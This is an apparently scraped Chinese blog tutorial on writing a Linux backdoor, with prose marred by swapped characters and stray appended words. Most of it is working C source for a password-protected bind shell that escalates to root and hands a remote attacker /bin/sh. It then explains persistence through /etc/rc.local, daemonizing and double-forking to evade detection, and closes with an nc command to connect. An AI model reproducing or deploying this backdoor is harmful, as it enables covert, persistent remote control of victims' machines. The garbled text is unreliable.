该程序实质是一个简单的socket编程,在受害方上运行攻击代码(后门进程),经过socket打开一个预设端口,并监听,等待攻击方的连接。一旦攻击方经过网络连接工具试图连接该socket,那么后门进程马上fork一个子进程来处理连接请求。处理请求的行为即用exec函数打开一个shell来代替本子进程,并将本进程的标准输入、输出、出错文件描述符重定向到该套接字上,这样就实现了攻击方远程获得了受害方的一个shell。html
int main(int argc, char **argv) { int i, listenfd, connfd; /*listenfd为主进程监听的套接字,connfd为TCP链接后的套接字*/ pid_t pid; char buf[MAXLINE]; socklen_t clilen; struct sockaddr_in s_addr; struct sockaddr_in c_addr; setuid(0); /*为了保险,咱们将经过setuid函数使得程序以拥有者身份的权限运行*/ setgid(0); seteuid(0); setegid(0); // daemon(0,0); /*经过daemon函数能够把本程序从终端设备下脱离出来变成守护进程,若是系统启动时加载本程序就无需这个函数*/ listenfd = socket(AF_INET,SOCK_STREAM,0); /*建立套接字*/ if (listenfd == -1){ printf("socket failed!"); exit(1); } bzero(&s_addr,sizeof(s_addr)); s_addr.sin_family=AF_INET; s_addr.sin_addr.s_addr=htonl(INADDR_ANY); s_addr.sin_port=htons(PORT); if (bind(listenfd, (struct sockaddr *)&s_addr, sizeof(s_addr)) == -1){ printf("bind failed!\n"); exit(1); } if (listen(listenfd, 20)==-1){ /*监听套接字*/ printf("listen failed!"); exit(1); } clilen = sizeof(c_addr); while(1){ connfd = accept(listenfd, (struct sockaddr *)&c_addr, &clilen);/*等待攻击者发起连接*/ pid = fork(); /*建立子进程*/ if(!pid) { if((pid = fork()) > 0) /*建立孙进程*/ { exit(0); /*子进程终结*/ }else if(!pid){ /*孙进程处理连接请求*/ close(listenfd); /*关闭除要处理的套接字外的全部描述符*/ write(connfd, ENTERPASS, strlen(ENTERPASS)); memset(buf,'\0', MAXLINE); read(connfd, buf, MAXLINE); if (strncmp(buf,PASSWORD,5) !=0){ close(connfd); exit(0); }else{ write(connfd, WELCOME, strlen(WELCOME)); dup2(connfd,0); /*将标准输入、输出、出错重定向到咱们的套接字上*/ dup2(connfd,1); /*实质是套接字的复制*/ dup2(connfd,2); execl("/bin/sh", "mysh", (char *) 0); /*打开一个shell代替本进程*/ } } } close(connfd); if (waitpid(pid, NULL, 0) != pid) /*父进程等待回收子进程*/ printf("waitpid error"); } }
有几点细节须要注意shell
首先攻击程序经过启动脚本在开机后就在后台做为守护进程运行,守护进程的子进程依然是守护进程,使得本进程不容易被发现。编程
将一个程序在开机后做为守护进程执行的方法很简单,只需在启动脚本中增长对应可执行文件的路径和文件名便可。首先将本身的程序编译经过生成可执行文件,将可执行文件放到某一个目录下(如/usr/bin/),而后在启动脚本中增长一行:网络
$vi /etc/rc.local
/usr/bin/filename
固然从一个shell进程打开的进程能够经过Linux下提供的daemon函数实现,其实质是fork和setsid的组合。daemon的实现大体以下:session
int daemon( int nochdir, int noclose ) { pid_t pid; if ( !nochdir && chdir("/") != 0 ) //若是nochdir=0,那么改变到"/"根目录 return -1; if ( !noclose ) //若是没有noclose标志 { int fd = open("/dev/null", O_RDWR); if ( fd < 0 ) return -1; /* 重定向标准输入、输出、错误 到/dev/null, 键盘的输入将对进程无任何影响,进程的输出也不会输出到终端 */ dup(fd, 0); dup(fd, 1); dup(fd, 2); close(fd); } pid = fork(); //建立子进程. if (pid < 0) //失败 return -1; if (pid > 0) _exit(0); //返回执行的是父进程,那么父进程退出,让子进程变成真正的孤儿进程. //建立的 daemon子进程执行到这里了 if ( setsid() < 0 ) //建立新的会话,并使得子进程成为新会话的领头进程 return -1; return 0; //成功建立daemon子进程 }
首先调用fork,而后终止父进程。若是本进程是从前台做为一个shell命令启动的,当父进程终止时,shell就认为该命令已执行完毕。这样子进程就自动在后台运行。另外,子进程继承了父进程的进程组ID,不过它有本身的进程ID。这就保证子进程不是一个进程组的头进程,这是接下去调用setsid的必要条件。setsid用于建立一个新的会话(session),当前进程变为新会话的会话头进程以及新进程的进程组头进程,从而再也不有控制终端。并发
daemon函数给出的步骤到此为止,然而当一个会话头进程打开一个终端设备时,该终端自动成为这个会话头进程的控制终端。史蒂芬告诉咱们,在setsid以后咱们须要再次fork,再次fork的目的是确保本守护进程不是一个会话头进程,未来即便打开一个控制终端,也不会自动得到控制终端。socket
其次是关于产生僵尸进程的问题,程序本来的想法是主进程始终监听,当有链接则fork一个子进程进行处理,鉴于主进程要并发处理多个链接,故不能在fork以后调用wait或waitpid来回收子进程,这就出现了问题,那就是子进程结束以后父进程没有回收它,使得产生僵尸进程,固然若是在子进程中若是调用exec成功后用shell代替当前子进程就没有这个问题,可是若是在调用exec前发生错误,好比密码输入错误,此时子进程死掉以后没有进程为它回收状态信息,这时候就会产生僵尸进程,从攻击者看来显得容易暴露身份。解决的办法有若干个,其中一种简单是方法就是,主进程在fork后调用wait或waitpid,在子进程中再次调用fork,产生孙进程,而子进程立刻终结,这时候父进程回收子进程。而孙进程因为死了子进程,而有init进程接管,由init进程对孙进程进行回收。固然,处理僵尸进程的方法不止一种,详细请参见http://www.cnblogs.com/big-xuyue/p/3590680.html 以及 http://www.cnblogs.com/Anker/p/3271773.html函数
最后咱们能够经过nc工具进程测试:工具
$nc -vv localhost 5669